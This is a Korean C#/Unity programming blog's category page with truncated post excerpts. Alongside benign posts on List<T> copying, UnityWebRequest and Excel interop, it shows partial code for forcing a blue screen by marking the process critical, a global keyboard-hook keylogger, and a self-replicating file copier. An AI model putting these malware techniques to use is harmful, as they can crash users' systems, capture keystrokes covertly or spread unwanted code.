프로그래밍/C# + Unity
-
매개변수 List<T>의 비밀프로그래밍/C# + Unity 2019. 8. 27. 22:01
C#의 List는 Array를 간편하게 .Add/.Insert/.Remove/.Clear 해주며 비슷한 기능을 하는 Arraylist보다 더 안전하고 더 잘 수행한다. 하지만 List를 매개변수로 사용하게 되면 함정이 존재한다. List는 참조 형식의 클래스이므로, 매개변수로 사용하고 값을 변경하게 되면 서브루틴 뿐만 아니라, 루틴에도 영향을 끼친다. 쉽게 설명하자면, List b = a;라는 코드를 작성하고 b를 변경하면 a도 함께 변경된다. 이는 참조형식의 클래스에서 나타나는 특징이다. 이를 해결하는 방법은 간단하다. 참조 형식이므로 새로 객체를 만들어주면 그만이다. ※ 반목문으로 일일히 복사하는 방법도 있겠지만, 추천하지 않는다. 1 List copy = new List(original); cs
-
[Unity] UnityWebRequest POST 헤더와 값 넣기프로그래밍/C# + Unity 2019. 8. 7. 11:44
Unity는 문서화가 잘 되어 있는 언어중 하나이지만, 가끔 설명이 빠진 경우도 있다.UnityWebRequest에 POST 헤더를 넣어 전송하는 경우인데, 문서에는 값을 넣어서 전송하는 경우만 알려주고 있다. https://docs.unity3d.com/kr/current/Manual/UnityWebRequest-SendingForm.html HTTP 서버로 양식 보내기(POST)(Sending a form to an HTTP server (POST)) - Unity 매뉴얼HTML 양식으로 포맷된 서버에 데이터를 전송하기 위한 두 가지 기본 함수가 있습니다. WWW 시스템에서 마이그레이션하는 경우 아래의 WWWForm 사용을 참조하십시오.docs.unity3d.com 의외로 해..
-
블루스크린 출력 함수프로그래밍/C# + Unity 2019. 3. 22. 23:14
소스 코드 [DllImport("ntdll.dll", SetLastError = true)]//bluescreen private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength); public void Callbulescreen() { int isCritical = 1; int BreakOnTermination = 0x1D; Process.EnterDebugMode(); NtSetInformationProcess(Process.GetCurrentProcess().Handle, BreakOnTerm..
-
[C#] 키로거, 키보드 전역 후킹프로그래밍/C# + Unity 2019. 3. 22. 23:11
C#에서는 using System.Runtime.InteropServices;를 이용하면 user32.dll에 선언된 후킹 함수를 사용할 수 있다. using System; using System.Collections; using System.Collections.Generic; using System.Diagnostics; using System.Runtime.InteropServices; using System.Threading; namespace HookKey { class HookKey { [DllImport("user32.dll")] private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyProc callback, IntPtr ..
-
C#에서 Excel 읽고 쓰기프로그래밍/C# + Unity 2019. 2. 21. 22:58
Nuget 패키지 추가 C#에서는 'Microsoft.Office.Interop.Excel'를 참조하면 엑셀 파일을 불러들여서 읽고 쓰기를 수행할 수 있다. 사용 방법은 프로젝트 생성 → Nuget 패키지 관리 → Microsoft.Office.Interop.Excel 선택 소스 코드 using System.IO; using System.Windows.Forms; using Excel = Microsoft.Office.Interop.Excel; namespace CsharpUseExcel { public partial class Form1 : Form { public Form1() { InitializeComponent(); } Excel.Workbook wb = null; Excel.Worksheet ..
-
간단한 자기 복제 (simply self-replication)프로그래밍/C# + Unity 2019. 2. 12. 22:55
class Copier { public void SelfCopier(String ExeName, String Destination) { string path = Directory.GetCurrentDirectory() + @"\\" + ExeName; FileInfo fileInfo = new FileInfo(path); long filesize = fileInfo.Length; long ahrt = filesize / 1024; //몫 int skajwl = ((filesize % 1024) == 0 ? 1024 : 0); //나머지 /* 파일을 읽어 로직에 담음 */ BinaryReader brfile = new BinaryReader(File.OpenRead(path)); byte[] tmpd_0 ..